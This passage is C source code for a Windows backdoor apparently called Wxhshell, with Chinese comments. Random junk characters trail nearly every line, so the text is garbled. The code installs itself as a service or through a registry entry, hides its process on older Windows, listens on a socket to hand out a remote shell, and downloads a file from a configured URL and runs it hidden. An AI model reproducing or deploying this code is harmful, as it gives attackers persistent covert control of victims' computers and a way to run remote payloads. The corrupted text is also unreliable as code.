DWORD BasePriority; (1[Z#y[
ULONG UniqueProcessId; <nK@+4EH"o
ULONG InheritedFromUniqueProcessId; ~.#57g F"
} PROCESS_BASIC_INFORMATION; _bRgr
a5(9~.9
PROCNTQSIP NtQueryInformationProcess; Z{gDEo)
pU<GI@gU
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T)tTzgLD}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t~$8sG\
^)o]hE|
HANDLE hProcess; @V&HE:P
PROCESS_BASIC_INFORMATION pbi; *\_>=sS x;
$h}w:AV:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gB>AYL%o=
if(NULL == hInst ) return 0; iVo-z#
eep/96G
?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %TO&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VF +g+~
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q^uCZnkb=
NZlCn:"
if (!NtQueryInformationProcess) return 0; [!Djs![O
-0I&dG-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b!`6s
if(!hProcess) return 0; YDZB$?&a
ftQ;$@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HG)$W
6B Hdc
CloseHandle(hProcess); cEn|Q
#Zi6N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); flz7{W
if(hProcess==NULL) return 0; 7<(kvE*x
\w&R`;b8w
HMODULE hMod; Iu(]i?Y
char procName[255]; ZXf&pqmG
unsigned long cbNeeded; fF2]7:
tv2k&\1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ` +)Bl%*
jk Aru_C
CloseHandle(hProcess); `=Rxnl,<U
r9<#R=r)}J
if(strstr(procName,"services")) return 1; // 以服务启动 !|
q19$
~Q]/=HK
return 0; // 注册表启动 mE'HRv
} H_ NoW
D( y
c
// 主模块 #TV #*
int StartWxhshell(LPSTR lpCmdLine) R8YU#D (Q
{ Q'Uv5p"X
SOCKET wsl; 7UqDPEXU]`
BOOL val=TRUE; of >
int port=0; =L;g:hc<
struct sockaddr_in door; 7mn&w$MS4:
sQ&<cBs2
if(wscfg.ws_autoins) Install(); C0khG9,BL
-
^Y\'y2
port=atoi(lpCmdLine); :G=ol2Q
s7\Ee-x)s
if(port<=0) port=wscfg.ws_port; uz:r'+v
x7i,jMR
WSADATA data; |h&okR+_,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JUJrtKS
di]CYLf
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b(adM3MP
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K.Cx 9
door.sin_family = AF_INET; [#AI! -
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7\H_9o0$
door.sin_port = htons(port); vg1E@rH|}
k4!p))ql
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H`yUSB
IP
closesocket(wsl); T hVq5
return 1; _bv9/# tR
} z uo:yaO
B`vC>
if(listen(wsl,2) == INVALID_SOCKET) { !Q}Bz*Y
closesocket(wsl); 3ly]DTbz
return 1; >u|4490<0
} Gz--C(
Wxhshell(wsl); @wVDe\% ,
WSACleanup(); H> n;[
bU}l*"
return 0; Moi>Dp
S2 P9C"
} LaL{
^wP
rKTc6h:)
// 以NT服务方式启动 y>cT{ )E$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -vh\XO
{ mR#"ng
DWORD status = 0; ]<9o>#3
DWORD specificError = 0xfffffff; kLXa1^Lq
J:I As:e`
serviceStatus.dwServiceType = SERVICE_WIN32; A6xN6{R!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 61sEeM
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /N")uuv
serviceStatus.dwWin32ExitCode = 0; @HY P_hR
serviceStatus.dwServiceSpecificExitCode = 0; kkOjAp{<t
serviceStatus.dwCheckPoint = 0; ;g?o~ev 8
serviceStatus.dwWaitHint = 0; n<eK\w
6I|9@~!y[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f%P#.
if (hServiceStatusHandle==0) return; w;kiH+&
"y ;0}9]n1
status = GetLastError(); jS|jPk|I.
if (status!=NO_ERROR) ,o0[^-b<
{ 7{V N27Fa_
serviceStatus.dwCurrentState = SERVICE_STOPPED; _Om5wp=:
serviceStatus.dwCheckPoint = 0; R-2Abyts2
serviceStatus.dwWaitHint = 0; d7Z$/ $
serviceStatus.dwWin32ExitCode = status; }_Y\6fcd
serviceStatus.dwServiceSpecificExitCode = specificError; '
R= O eH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M{=p0?X
return; _+Uf5,.5yU
} {>Qs+]
COxJ,v(
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6rlM\k@!
serviceStatus.dwCheckPoint = 0; b86c[2
serviceStatus.dwWaitHint = 0; ;Wn0-`_1,
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y+7A?"s)
} >QBDxm
Zlv`yC*r
// 处理NT服务事件,比如:启动、停止 yoTx3U@
VOID WINAPI NTServiceHandler(DWORD fdwControl) \Awqr:A&
{ !$Arc^7r
switch(fdwControl) j,1cb,}=^
{ R78P](1\>
case SERVICE_CONTROL_STOP: !OOOc
serviceStatus.dwWin32ExitCode = 0; /~g.j1 g
serviceStatus.dwCurrentState = SERVICE_STOPPED; ("=B,%F_
serviceStatus.dwCheckPoint = 0; A8ClkLC;I
serviceStatus.dwWaitHint = 0; #-PUm0|
{ g{hbq[>X]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n]K {-C;
} "&\]1A}Z-x
return; {!pYQ|#
case SERVICE_CONTROL_PAUSE: x139Ckn
serviceStatus.dwCurrentState = SERVICE_PAUSED; = d !YM6G
break; C`aUitL}
case SERVICE_CONTROL_CONTINUE: OjK+`D_C
serviceStatus.dwCurrentState = SERVICE_RUNNING; Tq%##
break; y p pZ@
case SERVICE_CONTROL_INTERROGATE: vtq47i
break; QQ99sy
}; vs*@)'n0 }
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j$k/oQ
} %'9&JsO
G%%5lw!y'
// 标准应用程序主函数 c}2"X,
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )2F%^<gZ#
{ `t7GYmw^#
|W SvAM3
// 获取操作系统版本 ?u{D-by%&
OsIsNt=GetOsVer(); P_Exh]P
GetModuleFileName(NULL,ExeFile,MAX_PATH); F&OcI.OTXF
6h&i<->
// 从命令行安装 2'?C
if(strpbrk(lpCmdLine,"iI")) Install(); ` yM9XjEl>
TEbE-h0)]
// 下载执行文件 hNF, sA
if(wscfg.ws_downexe) { sv#/ 78 ~|
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?Lr:>
WinExec(wscfg.ws_filenam,SW_HIDE); l YjPrA]TC
} KwxJ{$|xH
)u307Lg
if(!OsIsNt) { 7K/t>QrBtU
// 如果时win9x,隐藏进程并且设置为注册表启动 (2/i1)Cq
HideProc(); }G<A$*L1
StartWxhshell(lpCmdLine); aY%{?8PsB
} #o(@S{(NZ
else +F^X1
if(StartFromService()) 6/|"y
// 以服务方式启动 0"u=g)3
StartServiceCtrlDispatcher(DispatchTable); -n6T^vf
else `^DP<&{
// 普通方式启动 bE" J&;|
StartWxhshell(lpCmdLine); tBE-:hX*
'>% c@C[
return 0; l
i2/"~l
}